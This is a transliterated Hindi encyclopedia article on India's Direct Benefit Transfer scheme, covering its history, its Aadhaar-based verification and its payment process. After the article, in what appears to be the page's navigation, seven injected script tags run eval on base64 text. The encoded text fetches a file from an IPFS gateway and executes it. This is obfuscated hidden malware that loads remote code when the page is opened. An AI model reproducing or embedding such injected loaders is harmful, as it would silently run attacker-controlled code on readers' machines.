प्रत्यक्ष लाभ अंतरण

pratyaksh labh aantaran ya dibiti (aangrezi: Direct Benefit Transfer or DBT) bharat sarakar ka naya tantr hai, jisake madhyam se logoan ke baiank khatoan mean sidhe dhanarashi aantarit ki jati hai. dibiti ka ulh‍lekh pahali bar tath‍kalin vith‍tamantri rahe pranab mukharji ne varsh 2011-2012 mean apane kenh‍driy bajat bhashan mean kiya tha. us samay unh‍hoanne kaha tha ki sarakar kerosin, elapiji aur urvarakoan ke lie nakad sabsidi ka sidhe bhugatan karana chahati hai. in vash‍tuoan ke lie sidhe nakad bhugatan karane ke taur-tarikoan par vichar karane ke lie nandan nilekani ki adhh‍yakshata mean ek karyadal banaya gaya tha, jisane faravari 2012 mean apani riport sauanp di thi.

parichay

deshabhar mean pahale charan ke l aaukadaun ke turant bad hi keandr sarakar ne 1.7 lakh karo d rupaye ke rahat paikej ka ailan kiya tha. vittamantri nirmala sitaraman ne is rahat paikej mean garib, majadoor, varishth nagarikoan, vikalaang, vidhavaoan samet jarooratamand logoan ke lie kee b de ailan kiya. is rahat paikej mean vittamantri ne kuchh aise ailan kie, jisaka labh 'dayarekt beniphit traansaphar' ke jariya diya ja raha hai. isake pahale bhi keandr sarakar ne aise labharthiyoan ko kee yojanaoan ka labh dibiti ke jarie hi deti a rahi hai.

kya hai dibiti

vartaman mean keandr sarakar kee yojanaoan ke tahat sabsidi deti hai. yah sabsidi labharthiyoan tak ya to unake khate mean sidhe traansaphar kar diya jata hai ya phir us skim ke tahat die jane vale prodakt ya sarvis ki kimat bajar bhav se kam hoti hai. is doosare vikalp ke tahat keandr sarakar labharthiyoan ke hath mean paise n dekar unaki taraph se us ejeansi ya sanstha ko paise traansaphar karati hai jo prodakt ya sarvis in labharthiyoan tak kam kimat mean pahuancha rahe haian. jab kisi bhi yojana ke tahat keandr sarakar sidhe taur par labharthiyoan ke khate mean paise traansaphar karati hai to use hi 'dayarekt beniphit traansaphar' kaha jata hai.

dibiti ka sabase b da phayada yah hai ki isamean kisi tarah ke phr aaud ki koee guanjaeesh nahian rahati hai. jab labharthi ke khate mean sarakar sidhe taur par paise traansaphar karati hai to isamean bichauliyoan ki koee bhoomika nahian rahati hai. is prakar sarakari yojana ka poora phayada labharthi ko mil jata hai. isake lie labharthi ke adhar nanbar ki bhi jaroorat hoti hai taki sarakar yah sunishchit kar sake ki sahi labharthi ke pas hi labh mil raha hai ya nahian. chooanki, adhar bharat mean ek tarah ki yoonivarsal aeedi hai, aise mean sarakar ko vastavik labharthi ki pahachan karane mean asani hoti hai.

kaise kam karata hai

dayarekt beniphit traansaphar ke aantargat kee tarah ki prakriya hoti hai, jise keandr sarakar apane star par mainej karati hai. dibiti ke tahat yojana ka labh dene se pahale pablik phaineanshiyal mainejameant sistam rajitreshan ki prakriya poori ki jati hai. isake bad labharthiyoan ka detabas taiyar kiya jata hai. is detabes ko taiyar karate samay mean labharthiyoan ki ditels ko behad satikata se veriphaee kiya jata hai. dibiti tahat koee bhi pemeant karate samay phidabaik loop ka istemal kiya jata hai.

dibiti ke tahat labharthi ke khate mean kee tarah se paise traansaphar kie jate haian. sarakar ke trejari akaanut se ya sarakar dvara niyukt kie ge kisi ejeansi ke jariye labharthi ke khate mean yah paise traansaphar kie jate haian. udaharan ke taur par neshanal soshal asisteans program hai, jisake tahat labharthiyoan ke khate mean paise traansaphar kie jate hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah